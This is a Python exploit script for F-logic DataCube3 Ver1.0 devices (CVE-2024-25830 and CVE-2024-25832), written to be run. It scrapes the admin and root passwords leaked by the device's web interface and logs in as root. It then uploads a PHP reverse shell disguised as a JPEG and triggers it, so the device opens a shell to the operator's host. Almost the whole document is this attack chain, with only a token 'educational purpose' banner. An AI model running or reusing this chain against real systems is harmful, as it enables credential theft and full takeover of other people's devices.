DataCube3 v1.0 - Unrestricted file upload Remote Code Execution Exploit

# Exploit Title: DataCube3 v1.0 - Unrestricted file upload 'RCE'
# Exploit Author: Samy Younsi - NS Labs (https://neroteam.com)
# Vendor Homepage: https://www.f-logic.jp
# Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf
# Version: Ver1.0
# Tested on: DataCube3 version 1.0 (Ubuntu)
# CVE : CVE-2024-25830 + CVE-2024-25832

# Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
import re
urllib3.disable_warnings()

def banner():
  dataCube3Logo = """ 
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        DataCube3   Ver1.0      █F-logic▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██                                ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        ██             ██       ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        █████████████████       ██▓▓▓▓▓▓▓▓
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓                                       
                                                                                 
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mDataCube3 exploit chain reverse shell\033[1;m                                                 
                FOR EDUCATIONAL PURPOSE ONLY.   
  """
  return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))


def extractRootPwd(RHOST, RPORT, protocol):
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    scriptTag = str(soup.find_all('script')[12]).replace(' ', '')
    rawLeakedData = re.findall('configData:.*,', scriptTag)[0]
    jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))
    adminPassword = jsonLeakedData[12]['value']
    rootPassword = jsonLeakedData[14]['value']
    print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword))
    return rootPassword
  except:
    print('[ERROR] Can\'t grab the DataCube3 version...')


def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):
  print('[INFO] Generating DataCube3 auth cookie ...')
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  data = {
    'user_id': 'root',
    'user_pw': rootPassword,
    'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
  }
  try:
    response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')
      exit()
    authCookie = response.cookies.get_dict() 
    print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))  
    return authCookie
  except:
    print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')


def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):
  print('[INFO] Extracting Accesstime ...')
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    accessTime = soup.find('input', {'name': 'accesstime'}).get('value')
    print('[INFO] AccessTime value: {}'.format(accessTime))
    return accessTime
  except:
    print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')


def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):
  print('[INFO] Injecting PHP reverse shell script ...')
  filename='rvs.php'
  payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)

  data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)

  headers = {
      'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'
  }
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
        print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')
        exit()
    shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)
    print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))
    return shellURL
  except:
    print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')


def execReverseShell(shellURL):
  print('[INFO] Executing reverse shell...')
  try:
    response = requests.get(shellURL, allow_redirects=False, verify=False)
    print('[INFO] Reverse shell successfully executed.')
    return
  except Exception as e:
      print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')
      return False


def main():
  banner()
  args = parser.parse_args()
  protocol = 'https' if args.RPORT == 443 else 'http'
  rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)
  authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)
  accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)
  shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)
  execReverseShell(shellURL)


if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)
  parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)
  parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)
  parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)
  parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)
  main()